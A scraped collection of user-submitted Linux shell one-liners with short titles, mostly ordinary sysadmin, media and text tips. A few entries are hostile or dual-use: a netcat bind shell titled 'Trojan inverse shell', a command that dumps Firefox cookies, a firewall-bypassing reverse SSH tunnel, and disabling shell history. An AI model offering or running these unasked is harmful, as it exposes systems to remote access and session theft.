er and all sub-foldersfor x in `find . -name '*.html'` ; do iconv -f ISO-8859-1 -t UTF-8 $x > "$x.utf8"; rm $x; mv "$x.utf8" $x; done
# Record audio and video from webcam using mencoder
mencoder tv:// -tv driver=v4l2:width=800:height=600:device=/dev/video0:fps=30:outfmt=yuy2:forceaudio:alsa:adevice=hw.2,0 -ovc lavc -lavcopts vcodec=mpeg4:vbitrate=1800 -ffourcc xvid -oac mp3lame -lameopts cbr=128 -o output.avi
# List your MACs address
ifconfig eth0 | grep -o -E '([[:xdigit:]]{1,2}:){5}[[:xdigit:]]{1,2}'
# Create an SSH connection (reverse tunnel) through your firewall.
ssh -R 2001:localhost:22 [username]@[remote server ip]
# find the 10 latest (modified) files
ls -1t | head -n10
# Check if network cable is plugged in and working correctly
mii-tool eth0
# find the biggest files recursively, no matter how many
find . -type f -printf '%20s %p\n' | sort -n | cut -b22- | tr '\n' '\000' | xargs -0 ls -laSr
# Generate list of words and their frequencies in a text file.
tr A-Z a-z | tr -cs a-z '\n' | sort | uniq -c
# (Debian/Ubuntu) Discover what package a file belongs to
dlocate /path/to/file
# Make the "tree" command pretty and useful by default
alias tree="tree -CAFa -I 'CVS|*.*.package|.svn|.git' --dirsfirst"
# Prevent shell autologout
unset TMOUT
# Getting information about model no. of computer
dmidecode | grep -i prod
# Find pages returning 404 errors in apache logs
awk '$9 == 404 {print $7}' access_log | uniq -c | sort -rn | head
# get a random command
ls /usr/bin | shuf -n 1
# Who needs pipes?
B <<< $(A)
# Remove all HTML tags from a file
sed "s/<[^>]\+>//g" file
# combine `mkdir foo && cd foo`  into a single function `mcd foo`
function mcd() {   [ -n "$1" ] && mkdir -p "$@" && cd "$1";   }
# Remove today's Debian installed packages
grep -e `date +%Y-%m-%d` /var/log/dpkg.log | awk '/install / {print $4}' | uniq | xargs apt-get -y remove
# Stream YouTube URL directly to mplayer.
ID=52DnUo6wJto;mplayer -fs $(echo "http://youtube.com/get_video.php?&video_id=$ID$(wget -qO - 'http://youtube.com/watch?v='$ID | perl -ne 'print $1."&asv=" if /^.*(&t=.*?)&.*$/; print "&fmt=".$1 if /^.*&fmt_map=(22).*$/')")
# Undo
[Ctrl+_]
# vimdiff local and remote files via ssh
vimdiff /path/to/file scp://remotehost//path/to/file
# Regex to remove HTML-Tags from a file
sed -e :a -e 's/<[^>]*>//g;/</N;//ba' index.html
# Use bash history with process substitution
<(!!)
# CPU architecture details
lscpu
# Find out my Linux distribution name and version
lsb_release -a
# Display the history and optionally grep
h() { if [ -z "$1" ]; then history; else history | grep "$@"; fi; }
# Test file system performance
bonnie++ -n 0 -u 0 -r <physical RAM> -s <2 x physical ram> -f -b -d <mounted disck>
# Get absolut path to your bash-script
script_path=$(cd $(dirname $0);pwd)
# View and review the system process tree.
pstree -Gap | less -r
# Look for English words in /dev/urandom
head -100000 /dev/urandom | strings > temp.txt && for w in $(cat webster-dictionary.txt); do if [ ${#w} -gt 3 ]; then grep -io $w temp.txt; fi; done
# Search $PATH for a command or something similar
find ${PATH//:/ } -name \*bash\*
# nagios wrapper for any script/cron etc
CMD="${1}"; LOG="${2}"; N_HOST="${3}"; N_SERVICE="${4}"; ${CMD} >${LOG} 2>&1; EXITSTAT=${?}; OUTPUT="$(tail -1 ${LOG})";echo "${HOSTNAME}:${N_SERVICE}:${EXITSTAT}:${OUTPUT}" | send_nsca -H ${N_HOST} -d : -c /etc/nagios/send_nsca.cfg >/dev/null 2>&1
# create directory and set owner/group/mode in one shot
install -o user -g group -m 0700 -d /path/to/newdir
# Quickly add user accounts to the system and force a password change on first l
oginfor name in larry moe schemp; do useradd $name; echo 'password' | passwd --stdin $name; chage -d 0 $name; done
# To Stop or Start (Restart) a Windows service from a Linux machine
net rpc -I indirizzoip -U nomeutente%password servizio {stop|start} nomedelservizio
# Show apps that use internet connection at the moment. (Multi-Language)
netstat -lantp | grep -i stab | awk -F/ '{print $2}' | sort | uniq
# aptitude easter eggs
aptitude moo
# mplayer webcam window for screencasts
mplayer -cache 128 -tv driver=v4l2:width=176:height=177 -vo xv tv:// -noborder -geometry "95%:93%" -ontop
# Get the weather forecast for the next 24 to 48 for your location.
weather(){ curl -s "http://api.wunderground.com/auto/wui/geo/ForecastXML/index.xml?query=${@:-<YOURZIPORLOCATION>}"|perl -ne '/<title>([^<]+)/&&printf "%s: ",$1;/<fcttext>([^<]+)/&&print $1,"\n"';}
# split a multi-page PDF into separate files
pdftk in.pdf burst
# Using NMAP to check if a port is open or close
nmap -oG - -T4 -p22 -v 192.168.0.254 | grep ssh
# Remove everything except that file
( shopt -s extglob; rm !(<PATTERN>) )
# Unix commandline history substitution like ^foo^bar BUT for multiple replaceme
nts!!:gs/Original/New/
# Look for English words in /dev/urandom
head -100000 /dev/urandom | strings|tr '[A-Z]' '[a-z]'|sort >temp.txt && wget -q http://www.mavi1.org/web_security/wordlists/webster-dictionary.txt -O-|tr '[A-Z]' '[a-z]'|sort >temp2.txt&&comm -12 temp.txt temp2.txt
# Download from Rapidshare Premium using wget - Part 2
wget -c -t 1 --load-cookies ~/.cookies/rapidshare <URL>
# Change string in many files at once and more.
find . -type f -exec grep -l XXX {} \;|tee /tmp/fileschanged|xargs perl -pi.bak -e 's/XXX/YYY/g'
# Using ASCII Art output on MPlayer
mplayer -vo aa <video file>
# See non printable caracters like tabulations, CRLF, LF line terminators ( colo
red )od -c <FILE> | grep --color '\\.'
# cut audio file
ffmpeg -ss 00:00:30 -t 00:02:58 -i input.mp3 -acodec copy ouput.mp3
# a find and replace within text-based files, to locate and rewrite text en mass
.find . -name "*.txt" | xargs perl -pi -e 's/old/new/g'
# quickly backup or copy a file with bash
cp -bfS.bak filename filename
# Convert files from DOS line endings to UNIX line endings
fromdos *
# Generate random passwords (from which you may select "memorable" ones)
pwgen
# Let your computer lull you to sleep
echo {1..199}" sheep," | espeak -v english -s 80
# Empty a file
:> file
# Sort specific lines while editing within vi
:33,61 !sort
# Does a full update and cleaning in one line
sudo apt-get update && sudo apt-get upgrade && sudo apt-get autoclean && sudo apt-get autoremove
# Releases Firefox of a still running message
rm ~/.mozilla/firefox/<profile_dir>/.parentlock
# Check which files are opened by Firefox then sort by largest size.
FFPID=$(pidof firefox-bin) && lsof -p $FFPID | awk '{ if($7>0) print ($7/1024/1024)" MB -- "$9; }' | grep ".mozilla" | sort -rn
# bash pause command
read -sn1 -p "Press any key to continue..."; echo
# Generate a random left-hand password
</dev/urandom tr -dc '12345!@#$%qwertQWERTasdfgASDFGzxcvbZXCVB' | head -c8; echo ""
# Smart renaming
ls | sed -n -r 's/banana_(.*)_([0-9]*).asc/mv & banana_\2_\1.asc/gp' | sh
# Delete all but latest file in a directory
ls -pt1 | sed '/.*\//d' | sed 1d | xargs rm
# insert ip range using vim
:for i in range(1,255) | .put='192.168.0.'.i | endfor
# Monitor a file with tail with timestamps added
tail -f file | awk '{now=strftime("%F %T%z\t");sub(/^/, now);print}'
# Upgrade all perl modules via CPAN
cpan -r
# Save man pages to pdf
man -t man | ps2pdf - > man.pdf
# Transfer large files/directories with no overhead over the network
ssh user@host "cd targetdir; tar cfp - *" | dd of=file.tar
# Display ncurses based network monitor
nload -u m eth0
# Watch the progress of 'dd'
dd if=/dev/zero | pv | dd of=/dev/null
# simulated text generator
tr -dc a-z0-9   </dev/urandom   | tr 0-8 \ | tr 9 \\n |  sed 's/^[ \t]*//'  | fmt -u
# Summarize Apache Extended server-status to show longest running requests
links --dump 1 http://localhost/server-status|grep ^[0-9]|awk 'BEGIN {print "Seconds, PID, State, IP, Domain, TYPE, URL\n--"} $4 !~ /[GCRK_.]/ {print $6, $2, $4, $11, $12, $13 " " $14|"sort -n"}'
# Show a curses based menu selector
whiptail --checklist "Simple checkbox menu" 11 35 5 tag item status repeat tags 1
# Stop All Wine Apps and Processes
wineserver -k
# Copy your SSH public key on a remote machine for passwordless login.
cat ~/.ssh/*.pub | ssh user@remote-system 'umask 077; cat >>.ssh/authorized_keys'
# Renaming a file without overwiting an existing file name
mv -b old_file_name new_and_already_existent_file_name
# Get Futurama quotations from slashdot.org servers
echo -e "HEAD / HTTP/1.1\nHost: slashdot.org\n\n" | nc slashdot.org 80 | egrep "Bender|Fry" | sed "s/X-//"
# Convert file type to unix utf-8
ex some_file "+set ff=unix fileencoding=utf-8" "+x"
# create disk copy over the net without temp files
SOURCE: dd if=/dev/sda bs=16065b | netcat ip-target 1234 TARGET: netcat -l -p 1234 | dd of=/dev/mapper/laptop bs=16065b STATS on target: watch -n60 -- kill -USR1 $(pgrep dd)
# take execution time of several commands
time { <command1> ; <command2> ; <command...> ; }
# Remove invalid key from the known_hosts file for the IP address of a host
ssh-keygen -R `host hostname | cut -d " " -f 4`
# Google Spell Checker
spellcheck(){ typeset y=$@;curl -sd "<spellrequest><text>$y</text></spellrequest>" https://www.google.com/tbproxy/spell|sed -n '/s="[0-9]"/{s/<[^>]*>/ /g;s/\t/ /g;s/ *\(.*\)/Suggestions: \1\n/g;p}'|tee >(grep -Eq '.*'||echo -e "OK");}
# How many files in the current directory ?
find . -maxdepth 1 -type f | wc -l
# Compress excutable files in place.
gzexe name ...
# 'Fix' a typescript file created by the 'script' program to remove control char
acterscat typescript | perl -pe 's/\e([^\[\]]|\[.*?[a-zA-Z]|\].*?\a)//g' | col -b > typescript-processed
# Show the number of current httpd processes
pgrep -c httpd
# ionice limits process I/O, to keep it from swamping the system (Linux)
ionice -c3 find /
# Update zone file Serial numbers
sed -i 's/20[0-1][0-9]\{7\}/'`date +%Y%m%d%I`'/g' *.db
# Simplest way to get size (in bytes) of a file
du -b filename
# Terminal redirection
script -f /dev/pts/3
# Find all dot files and directories
echo .*
# do 'foo' until it exits successfully, pausing in between crashes
until foo some args; do echo "crashed: $?  respawning..." >&2; sleep 10; done
# Show a passive popup in KDE
kdialog --passivepopup <text> <timeout>
# View Processeses like a fu, fu
command ps -Hacl -F S -A f
# Get the total length of all videos in the current dir in H:m:s
mplayer -vo dummy -ao dummy -identify * 2>&1 | grep ID_LENGTH  | sed 's/.*=\([0-9]*\)/\1/' | xargs echo | sed 's/ /+/g' | bc | awk 'S=$1; {printf "%dh:%dm:%ds\n",S/(60*60),S%(60*60)/60,S%60}'
# Replace duplicate files by hardlinks
fdupes -r -1 path | while read line; do j="0"; for file in ${line[*]}; do if [ "$j" == "0" ]; then j="1"; else ln -f ${line// .*/} $file; fi; done; done
# Convert a flv video file to avi using mencoder
mencoder your_video.flv -oac mp3lame -ovc xvid -lameopts preset=standard:fast -xvidencopts pass=1 -o your_video.avi
# 32 bits or 64 bits?
sudo lshw -C cpu|grep width
# String to binary
perl -nle 'printf "%0*v8b\n"," ",$_;'
# Find status of all symlinks
symlinks -r $(pwd)
# How to copy CD/DVD into hard disk (.iso)
dd if=/dev/cdrom of=whatever.iso
# use vi key bindings at the command line
set -o vi
# Trojan inverse shell
nc -l -p 2000 -e /bin/bash
# Load average + API google chart
limite="5";load5=$(awk '{print $1}' /proc/loadavg);echo "http://chart.apis.google.com/chart?chxr=0,0,5&chxt=y&chs=700x240&cht=gm&chds=0,"$limite"&chd=t:"$load5"&chl="$load5"&chtt=$(hostname)+load+average"
# Calculate md5 sums for every file in a directory tree
find . -type f -exec md5sum {} \; > sum.md5
# Get yesterday's date or a previous time
date -d '1 day ago'; date -d '11 hour ago'; date -d '2 hour ago - 3 minute'; date -d '16 hour'
# Search through files, ignoring .svn
find . -not \( -name .svn -prune \) -type f -print0 | xargs --null grep <searchTerm>
# rapidshare download script in 200 characters
u=`curl -d 'dl.start=Free' $(curl $1|perl -wpi -e 's/^.*"(http:\/\/rs.*)" method.*$/$1/'|egrep '^http'|head -n1)|grep "Level(3) \#2"|perl -wpi -e 's/^.*(http:\/\/rs[^\\\\]*).*$/$1/'`;sleep 60;wget $u
# Print a row of 50 hyphens
seq -s" " -50 -1 | tr -dc -
# Replace Solaris vmstat numbers with human readable format
vmstat 1 10 | /usr/xpg4/bin/awk -f ph-vmstat.awk
# Show top SVN committers for the last month
svn log -r {`date +"%Y-%m-%d" -d "1 month ago"`}:HEAD|grep '^r[0-9]' |cut -d\| -f2|sort|uniq -c
# Auto Rotate Cube (compiz)
wmctrl -o 2560,0 ;sleep 2 ; echo "FIRE 001" | osd_cat -o 470 -s 8 -c red -d 10 -f -*-bitstream\ vera\ sans-*-*-*--250-*-*-*-*-*-*-* ; sleep 1; wmctrl -o 0,0
# Do a command but skip recording it in the bash command history
_cd ~/nsfw; mplayer midget_donkey.mpeg
# Know which modules are loaded on an Apache server
apache2 -t -D DUMP_MODULES
# Clear filesystem memory cache
sync && echo 3 | sudo tee /proc/sys/vm/drop_caches
# Changes standard mysql client output to 'less'.
echo -e "[mysql]\npager=less -niSFX" >> ~/.my.cnf
# Prepare a commandlinefu command.
goclf() { type "$1" | sed '1d' | tr -d "\n" | tr -s '[:space:]'; echo }
# Expand shortened URLs
expandurl() { curl -sIL $1 | grep ^Location; }
# List files above a given threshold
find . -type f -size +25000k -exec ls -lh {} \; | awk '{ print $8 ": " $5 }'
# concat multiple videos into one (and add an audio track)
cat frame/*.mpeg | ffmpeg -i $ID.mp3 -i - -f dvd -y track/$ID.mpg 2>/dev/null
# convert .bin / .cue into .iso image
bchunk IMAGE.bin IMAGE.cue IMAGE.iso
# Empty a file
truncate -s0 file
# tail: watch a filelog
tail -n 50 -f /var/log/apache2/access_log /var/log/apache2/error_log
# Hiding password while reading it from keyboard
save_state=$(stty -g);echo -n "Password: ";stty -echo;read password;stty "$save_state";echo "";echo "You inserted $password as password"
# convert a web page into a pdf
touch $2;firefox -print $1 -printmode PDF -printfile $2
# Show a Command's Short Description
whatis [command-name]
# Backup all MySQL Databases to individual files
mysql -e 'show databases' | sed -n '2,$p' | xargs -I DB 'mysqldump DB > DB.sql'
# Stream audio over ssh
ssh [user]@[address] "mpg321 -" < [file].mp3
# List installed deb packages by size
dpkg-query -Wf '${Installed-Size}\t${Package}\n' | sort -n
# Show the PATH, one directory per line
printf ${PATH//:/\\n}
# Changing tha mac adresse
sudo ifconfig eth0 hw ether 00:01:02:03:04:05
# gpg decrypt a file
gpg --output foo.txt --decrypt foo.txt.pgp
# Google URL shortener
curl -s -d'&url=URL' http://goo.gl/api/url | sed -e 's/{"short_url":"//' -e 's/","added_to_history":false}/\n/'
# Print IP of any interface. Useful for scripts.
ip route show dev ppp0 | awk '{ print $7 }'
# Synchronize both your system clock and hardware clock and calculate/adjust tim
e driftntpdate pool.ntp.org && hwclock --systohc && hwclock --adjust
# Show GCC-generated optimization commands when using the "-march=native" or "-m
tune=native" switches for compilation.cc -march=native -E -v - </dev/null 2>&1 | grep cc1
# Add a function you've defined to .bashrc
addfunction () { declare -f $1 >> ~/.bashrc ; }
# Create a single-use TCP proxy with debug output to stderr
socat -v tcp4-l:<port> tcp4:<host>:<port>
# Display which distro is installed
cat /etc/*release
# Retrieve the size of a file on a server
wget --spider $URL 2>&1 | awk '/Length/ {print $2}'
# Show line numbers in a text file
cat -n file.txt
# create a .avi with many .jpg
mencoder "mf://*.jpg" -mf fps=8 -o ./video.avi -ovc lavc
# run a command from within vi without exiting
:! <bash_command>
# add the result of a command into vi
:r! <bash_command>
# Convert .flv to .3gp
ffmpeg -i file.flv -r 15 -b 128k -s qcif -acodec amr_nb -ar 8000 -ac 1 -ab 13 -f 3gp -y out.3gp
# Copy a file over SSH without SCP
ssh HOST cat < LOCALFILE ">" REMOTEFILE
# let the cow suggest some commit messages for you
while true; do lynx --dump http://whatthecommit.com/ | head -n 1 | cowsay; sleep 2; done
# Have subversion ignore a file pattern in a directory
svn propset svn:ignore "*txt" log/
# find and delete empty directories recursively
find . -depth -type d -empty -exec rmdir -v {} +
# Install a LAMP server in a Debian based distribution
sudo tasksel install lamp-server
# Setup an ssh tunnel
ssf -f -N -L 4321:home.network.com:25 [email protected]
# get cookies from firefox
echo ".mode tabs select host, case when host glob '.*' then 'TRUE' else 'FALSE' end, path, case when isSecure then 'TRUE' else 'FALSE' end, expiry, name, value from moz_cookies;" | sqlite3 ~/.mozilla/firefox/*.default/cookies.sqlite
# See most used commands
history|awk '{print $2}'|awk 'BEGIN {FS="|"} {print $1}'|sort|uniq -c|sort -r
# check the status of 'dd' in progress (OS X)
killall -INFO dd
# List your largest installed packages (on Debian/Ubuntu)
dpigs
# Find the location of the currently loaded php.ini file
php -i | grep php.ini
# Highlight network TX, RX information change
watch -n 2 -d '/sbin/ifconfig eth0'
# Kill all processes beloging to a single user.
kill -9 `ps -u <username> -o "pid="`
# Remove empty directories
find . -type d -empty -delete
# Using numsum to sum a column of numbers.
numsum count.txt
# Capture video of a linux desktop
ffmpeg -f x11grab -s `xdpyinfo | grep 'dimensions:'|awk '{print $2}'` -r 25 -i :0.0 -sameq /tmp/out.mpg > /root/howto/capture_screen_video_ffmpeg
# What is my public IP-address?
dig @208.67.222.222 myip.opendns.com
# grep binary (hexadecimal) patterns
grep -P "\x05\x00\xc0" mybinaryfile
# set your ssd disk as a non-rotating medium
sudo echo 0 > /sys/block/sdb/queue/rotational
# Set a Reminder for yourself via the notification system
sleep 6s && notify-send -t 10000 -u critical "remember to think" &
# Follow the flow of a log file
tailf file.log
# Do some Perl learning...
podwebserver& sleep 2; elinks 'http://127.0.0.1:8020'
# Share your terminal session (remotely or whatever)
screen -x
# Always tail/edit/grep the latest file in a directory of timestamped files
tail -f /path/to/timestamped/files/file-*(om[1])
# Match a URL
egrep 'https?://([[:alpha:]]([-[:alnum:]]+[[:alnum:]])*\.)+[[:alpha:]]{2,3}(:\d+)?(/([-\w/_\.]*(\?\S+)?)?)?'
# Ignore a directory in SVN, permanently
svn propset svn:ignore "*" tool/templates_c; svn commit -m "Ignoring tool/templates_c"
# Erase a word
<CTRL+w>
# Join lines
tr "\n" " " < file
# View the newest xkcd comic.
eog `curl -s http://xkcd.com/ | sed -n 's/<h3>Image URL.*: \(.*\)<\/h3>/\1/p'`
# Rsync two directories with filtered extensions
rsync -rv --include '*/' --include '*.txt' --exclude '*' srcDir/ desDir/
# colorize your svn diff
svn diff | vim -
# swap stdout and stderr
$command 3>&1 1>&2 2>&3
# List dot-files and dirs, but not . or ..
ls -A
# Read a keypress without echoing it
stty cbreak -echo; KEY=$(dd bs=1 count=1 2>/dev/null); stty -cbreak echo
# Don't spam root. Log your cronjob output to syslog
*/5 * * * * root    /usr/local/nagios/sbin/nsca_check_disk 2>&1 |/usr/bin/logger -t nsca_check_disk
# diff files while disregarding indentation and trailing white space
diff -b $file1 $file2 # GNU Tools
# enumerate with padding
echo {001..5}
# Jump to line X in file in Nano.
nano +X foo
# useful tail on /var/log to avoid old logs or/and gzipped files
tail -f *[!.1][!.gz]
# use mplayer to watch Apple Movie Trailer instead of quicktime player
mplayer -rtsp-stream-over-tcp -user-agent QuickTime/7.6.4 http://trailers.apple.com/movies/HDmovie-h720p.mov
# Pack up some files into a tarball on a remote server without writing to the lo
cal filesystemtar -czf - * | ssh example.com "cat > files.tar.gz"
# Batch rename extension of all files in a folder, in the example from .txt to .
mdmmv "*.txt" "#1.md"
# backup a directory in a timestamped tar.gz
tar -czvvf backup$(date "+%Y%m%d_%H%M%S").tar.gz /path/to/dir
# Count the number of characters in each line
awk '{count[length]++}END{for(i in count){printf("%d: %d\n", count[i], i)}}'
# Convert multiple files using avidemux
for i in `ls`;do avidemux  --video-codec Xvid4 --load $i --save $i.mp4 --quit; done
# Unix alias for date command that lets you create timestamps in ISO 8601 format
alias timestamp='date "+%Y%m%dT%H%M%S"'
# send kernel log (dmesg) notifications to root via cron
(crontab -l; echo '* * * * * dmesg -c'; ) | crontab -
# Replicate a directory structure dropping the files
for x in `find /path/ -type d | cut -b bytesoffoldername-`; do mkdir -p newpath/$x; done
# Remotely sniff traffic and pass to snort
ssh root@pyramid \ "tcpdump -nn -i eth1 -w -" | snort -c /etc/snort/snort.conf -r -
# processes per user counter
ps aux |awk '{$1}  {++P[$1]} END {for(a in P) if (a !="USER") print a,P[a]}'
# See how many % of your memory firefox is using
ps -o %mem= -C firefox-bin | sed -s 's/\..*/%/'
# Binary Clock
watch -n 1 'date "+obase=2; print %H,\":\",%M,\":\",%S" |bc'
# Installing True-Type fonts
ttmkfdir mkfontdir fc-cache /usr/share/fonts/miscttf
# Mount a partition from within a complete disk dump
INFILE=/path/to/your/backup.img; MOUNTPT=/mnt/foo; PARTITION=1; mount "$INFILE" "$MOUNTPT" -o loop,offset=$[ `/sbin/sfdisk -d "$INFILE" | grep "start=" | head -n $PARTITION | tail -n1 | sed 's/.*start=[ ]*//' | sed 's/,.*//'` * 512 ]
# Save your open windows to a file so they can be opened after you restart
wmctrl -l -p | while read line; do ps -o cmd= "$(echo "$line" | awk '$0=$3')"; done > ~/.windows
# Apply substitution only on the line following a marker
sed '/MARKER/{N;s/THIS/THAT/}'
# Quick case-insenstive partial filename search
alias lg='ls --color=always | grep --color=always -i'
# Print Memory Utilization Percentage For a specific process and it's children
TOTAL_RAM=`free | head -n 2 | tail -n 1 | awk '{ print $2 }'`; PROC_RSS=`ps axo rss,comm | grep [h]ttpd | awk '{ TOTAL += $1 } END { print TOTAL }'`; PROC_PCT=`echo "scale=4; ( $PROC_RSS/$TOTAL_RAM ) * 100" | bc`; echo "RAM Used by HTTP: $PROC_PCT%"
# View details of network activity, malicious or otherwise within a port range.
lsof -i :555-7000
# generate random password
openssl rand -base64 6
# Find files that are older than x days
find . -type f -mtime +7 -exec ls -l {} \;
# Converts a single FLAC file with associated cue file into multiple FLAC files
cuebreakpoints "$2" | shnsplit -o flac "$1"
# run a VirtualBox virtual machine without a gui
VBoxHeadless -s <name|uuid>
# Forward port 8888 to remote machine for SOCKS Proxy
ssh -D 8888 [email protected]
# Sync the date of one server to that of another.
sudo date -s  "$(ssh [email protected] "date -u")"
# list processes with established tcp connections (without netstat)
lsof -i -n | grep ESTABLISHED
# List top ten files/directories sorted by size
du -sb *|sort -nr|head|awk '{print $2}'|xargs du -sh
# retab in vim, tab to space or space to tab, useful in python
:ret
# Convert images (jpg, png, ...) into a PDF
convert images*.* <my_pdf>.pdf
# Get the IP address of a machine. Just the IP, no junk.
/sbin/ifconfig -a | awk '/(cast)/ { print $2 }' | cut -d':' -f2 | head -1
# create missing md5 for all files in directory
find . ! -name \*.md5 -exec 'md5sum "{}" > "{}".md5' \;
# Replace all in last command
!!:gs/data/index/
# batch convert Nikon RAW (nef) images to JPG
ufraw-batch --out-type=jpeg --out-path=./jpg ./*.NEF
# Launch firefox on a remote linux server
ssh -fY user@REMOTESERVER firefox -no-remote
# Concating pdf files
pdftk inp1.pdf inp2.pdf inp3.pdf cat output out.pdf
# Add a Clock to Your CLI
export PS1="${PS1%\\\$*}"' \t \$ '
# Look for IPv4 address in files.
alias ip4grep "grep -E '([0-9]{1,3}\.){3}[0-9]{1,3}'"
# Watch Data Usage on eth0
watch ifconfig eth0
# Lists installed kernels
ls -1 /lib/modules
# Get all mac address
ip link show
# Produce a pseudo random password with given length in base 64
openssl rand -base64 <length>
# Change the window title of your xterm
echo "^[]0;My_Title_Goes _Here^G"
# Don't save commands in bash history (only for current session)
unset HISTFILE
# Create MySQL-Dump, copy db to other Server and upload the db.
mysqldump -uUserName -pPassword tudb | ssh [email protected] "mysql -uUserName -pPassword -h mysql.rootsvr.com YourDBName"
# Dump dvd from a different machine onto this one.
ssh user@machine_A dd if=/dev/dvd0 > dvddump.iso
# Insert a comment on command line for reminder
ls -alh #mycomment
# for too many arguments by *
echo *.log | xargs <command>
# Reboot as a different OS in Grub
echo "savedefault --default=2 --once" | grub --batch; sudo reboot
# Get the full path to a file
readlink -e /bin/ls
# 'hpc' in the box - starts a maximum of n compute commands modulo n controlled 
in parallelc=0; n=8; while true; do r=`echo $RANDOM%5 |bc`; echo "sleep $r"; sleep $r& 2>&1 >/dev/null && ((c++)); [ `echo "$c%$n" | bc` -eq 0 ] && echo "$c waiting" && wait; done
# Simplified video file renaming
for f in *;do mplayer $f;read $n;mv $f $n;done
# determine if tcp port is open
lsof -i :22
# detach remote console for long running operations
dtach -c /tmp/wires-mc mc
# convert pdf to graphic file format (jpg , png , tiff ... )
convert sample.pdf sample.jpg
# split and combine different pages from different pdf's
pdftk A=chapters.pdf B=headings.pdf C=covers.pdf cat C1 B1 A1-7 B2 A8-10 C2 output book.pdf
# Convert HH:MM:SS into seconds
echo 00:29:36 | awk -F: '{print ($1*3600)+($2*60)+$3}'
# Comment out a line in a file
sed -i '19375 s/^/#/' file
# simple backup with rsync
0 10 * * * rsync -rau /[VIPdirectory] X.X.X.X:/backup/[VIPdirectory]
# find out how many days since given date
echo $((($(date +%s)-$(date +%s -d "march 1"))/86400))
# Determining the excat memory usages by certain PID
pmap -d <<pid>>
# Reset terminal that has been buggered by binary input or similar
stty sane
# Test speaker channels
speaker-test -D plug:surround51 -c 6 -l 1 -t wav
# Random play a mp3 file
mpg123 "`locate -r '\.mp3$'|awk '{a[NR]=$0}END{print a['"$RANDOM"' % NR]}'`"
# Save xkcd to a pdf with captions
curl -sL xkcd.com | grep '<img [^>]*/><br/>' | sed -r 's|<img src="(.*)" title="(.*)" alt="(.*)" /><br/>|\1\t\2\t\3|' > /tmp/a; curl -s $(cat /tmp/a | cut -f1) | convert - -gravity south -draw "text 0,0 \"$(cat /tmp/a | cut -f2)\"" pdf:- > xkcd.pdf
# Record output of any command using 'tee' at backend; mainly can be used to cap
ture the output of ssh from client side while connecting to a server.ssh user@server | tee logfilename
# Dump root ext3 fs over ssh
dump 0f - / | bzip -c9 | ssh user@host "cat > /home/user/root.dump.bz2"
# a simple bash one-liner to create php file and call php function
php -r 'echo str_rot13 ("Hello World");'
# Record live sound in Vorbis (eg for bootlegs or to take audio notes)
rec -c 2 -r 44100 -s -t wav - | oggenc -q 5 --raw --raw-chan=2 --raw-rate=44100 --raw-bits=16 - > MyLiveRecording.ogg
# Takes all file except file between !()
rm !(file_to_keep_undeleted)
# purge installed but unused linux headers, image, or modules
dpkg -l 'linux-*' | sed '/^ii/!d;/'"$(uname -r | sed "s/\(.*\)-\([^0-9]\+\)/\1/")"'/d;s/^[^ ]* [^ ]* \([^ ]*\).*/\1/;/[0-9]/!d' | xargs sudo apt-get -y purge
# Sort the current buffer in vi or vim.
:%sort
# List .log files open by a pid
lsof -p 1234 | grep -E "\.log$" | awk '{print $NF}'
# Testing php configuration
php -i
# Find default gateway
ip route | awk '/default/{print $3}'
# prints the parameter you used on the previous command
<alt+.>
# Remote copy directories and files through an SSH tunnel host
rsync -avz -e 'ssh -A sshproxy ssh' srcdir remhost:dest/path/
# Unix time to local time
date -R -d @1234567890
# Send a binary file as an attachment to an email
uuencode archive.tar.gz archive.tar.gz | mail -s "Emailing: archive.tar.gz" [email protected]
# List files
Esc-/ Esc-/
# Download Apple movie trailers
wget -U "QuickTime/7.6.2 (qtver=7.6.2;os=Windows NT 5.1Service Pack 3)" `echo http://movies.apple.com/movies/someHDmovie_720p.mov | sed 's/\([0-9][0-9]\)0p/h\10p/'`
# Edit the Last Changed File
vim $( ls -t | head -n1 )
# Remove all .svn folders
find . -depth -name .svn -type d -exec rm -fr {} \;
# Generate a random password 30 characters long
gpg --gen-random --armor 1 30
# Follow the most recently updated log files
ls -drt /var/log/* | tail -n5 | xargs sudo tail -n0 -f
# Get a regular updated list of zombies
watch "ps auxw | grep [d]efunct"
# RTFM function
rtfm() { help $@ || info $@ || man $@ || $BROWSER "http://www.google.com/search?q=$@"; }
# Update twitter via curl (and also set the "from" bit)
curl -u twitter-username -d status="Hello World, Twitter!" -d source="cURL" http://twitter.com/statuses/update.xml
# Test network speed without wasting disk
dd if=/dev/zero bs=4096 count=1048576 | ssh [email protected] 'cat > /dev/null'
# Terminal Keyboard Shortcut list
echo -e "Terminal shortcut keys\n" && sed -e 's/\^/Ctrl+/g;s/M-/Shift+/g' <(stty -a 2>&1| sed -e 's/;/\n/g' | grep "\^" | tr -d ' ')
# Backup entire system through SSH
ssh -C USER@HOST tar -c --exclude /proc --exclude /sys / | tar -x
# Mount and umount iso files
function miso () { mkdir ~/ISO_CD && sudo mount -o loop "$@" ~/ISO_CD && cd ~/ISO_CD && ls; } function uiso () { cd ~ && sudo umount ~/ISO_CD && rm -r ~/ISO_CD; }
# View webcam output using mplayer
mplayer tv:// -tv driver=v4l2:width=640:height=480:device=/dev/video0:fps=30:outfmt=yuy2
# Insert a colon between every two digits
sed 's/\(..\)/\1:/g;s/:$//' mac_address_list
# Create date-based tgz of current dir, runs in the background, very very cool
alias tarred='( ( D=`builtin pwd`; F=$(date +$HOME/`sed "s,[/ ],#,g" <<< ${D/${HOME}/}`#-%F.tgz); tar --ignore-failed-read --transform "s,^${D%/*},`date +${D%/*}.%F`,S" -czPf "$"F "$D" &>/dev/null ) & )'
# Simplification of "sed 'your sed stuff here' file > file2 && mv file2 file"
sed -i 'your sed stuff here' file
# Purge configuration files of removed packages on  debian based systems
aptitude purge '~c'
# New command with the last argument of the previous command.
command !$
# need ascii art pictures for you readme text ?
boxes -d dog  or   cowsay -f tux $M
# Update your OpenDNS network ip
wget -q --user=<username> --password=<password> 'https://updates.opendns.com/nic/update?hostname=your_opendns_hostname&myip=your_ip' -O -
# Remove all files except list
rm -rf !(@(file1|file2|...))
# To play a file at 1.5 times normal speed  without increasing the pitch
mplayer -af scaletempo=scale=1.5 foo.mp3
# convert all flac files in a folder to mp3 files with a bitrate of 192 kbps
for f in *;do flac -cd $f |lame -b 192 - $f.mp3;done
# Migrate existing Ext3 filesystems to Ext4
tune2fs -O extents,uninit_bg,dir_index /dev/yourpartition
# most used commands in history (comprehensive)
history | perl -F"\||<\(|;|\`|\\$\(" -alne 'foreach (@F) { print $1 if /\b((?!do)[a-z]+)\b/i }' | sort | uniq -c | sort -nr | head
